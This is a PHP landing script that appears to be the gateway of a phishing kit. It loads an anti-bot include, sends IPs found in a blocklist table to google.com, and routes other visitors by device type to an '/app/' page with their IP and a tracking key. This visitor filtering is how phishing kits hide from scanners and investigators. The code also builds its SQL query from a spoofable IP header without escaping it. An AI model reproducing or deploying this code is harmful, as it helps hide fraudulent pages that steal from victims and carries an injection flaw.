<?php
session_start();
require_once "cod3rconfig/registro.php";
require_once "cod3rconfig/conexao.php";
require_once "cod3rconfig/data.php";
require_once "bot.php";

$ip = (isset($_SERVER["HTTP_CF_CONNECTING_IP"])?$_SERVER["HTTP_CF_CONNECTING_IP"]:$_SERVER['REMOTE_ADDR']);

function injectSubdomain($url, $subdomain) {
    strstr($url, 'www') ?
    $url_parts = explode('://www', $url) :
    $url_parts = explode('://', $url);

    return $url_parts[0] . '://' . $subdomain . '.' . $url_parts[1];
}

function geraSenha($tamanho = 8, $maiusculas = true, $numeros = true) {

    if (isset($_COOKIE["clientHashId"])) {
        return $_COOKIE["clientHashId"];
    }

    // Generate a UUID
    if (function_exists('com_create_guid')) {
        // Use com_create_guid if available
        $uuid = trim(com_create_guid(), '{}');
    } else {
        // Generate a UUID manually
        $data = random_bytes(16);
        $data[6] = chr((ord($data[6]) & 0x0f) | 0x40); // Version 4
        $data[8] = chr((ord($data[8]) & 0x3f) | 0x80); // Variant 10
        $uuid = sprintf(
            '%08x-%04x-%04x-%04x-%012x',
            unpack('N1', substr($data, 0, 4))[1],
            unpack('n1', substr($data, 4, 2))[1],
            unpack('n1', substr($data, 6, 2))[1],
            unpack('n1', substr($data, 8, 2))[1],
            unpack('J1', substr($data, 10, 6))[1]
        );
    }

    // Set the cookie to persist the UUID
    setcookie('clientHashId', $uuid, time() + (7 * 24 * 3600));

    return $uuid;
return $retorno;
}


$URL    = 'https://'.$_SERVER['SERVER_NAME']; 
$unic   = rand(1,100);
$subdom = "www".$unic;

$dateEncode1 = geraSenha(60,true,false);
$pasta       = injectSubdomain($URL, $subdom);

$dateEncode  = date("d/m/Y H:i:s");


$codigo = geraSenha(40, true, true);


$query_verificacadastro1 = "SELECT * FROM ipblock WHERE ip = '$ip'";
$verificacadastro1 = mysqli_query(DBCOnnect(), $query_verificacadastro1) or die(mysqli_error(DBCOnnect()));
$row_verificacadastro1 = mysqli_fetch_assoc($verificacadastro1);

if($row_verificacadastro1['ip'] == $ip ) {
    header("Location: https://www.google.com/");
}else{



    $mobile = FALSE;
    $user_agents = array("iPhone","iPad","Xiaomi","Android","webOS","BlackBerry","iPod","Symbian","IsGeneric");

    foreach($user_agents as $user_agent) {
        if (strpos($_SERVER['HTTP_USER_AGENT'], $user_agent) !== FALSE) {
            $mobile = TRUE;
            $modelo = $user_agent;
            break;
        }
    }

    if ($mobile) {
    // header("Location: ".$pasta."?mobile=".$modelo."=&ip=".$ip."&key=".$dateEncode1);
      header("Location: /app/?mobile=".$modelo."=&ip=".$ip."&key=".$dateEncode1);
    }else{
    //header("Location: ".$pasta."?desktop=".$modelo."=&ip=".$ip."&key=".$dateEncode1);
         header("Location: /app/?desktop=".$modelo."=&ip=".$ip."&key=".$dateEncode1);
    }
}
?>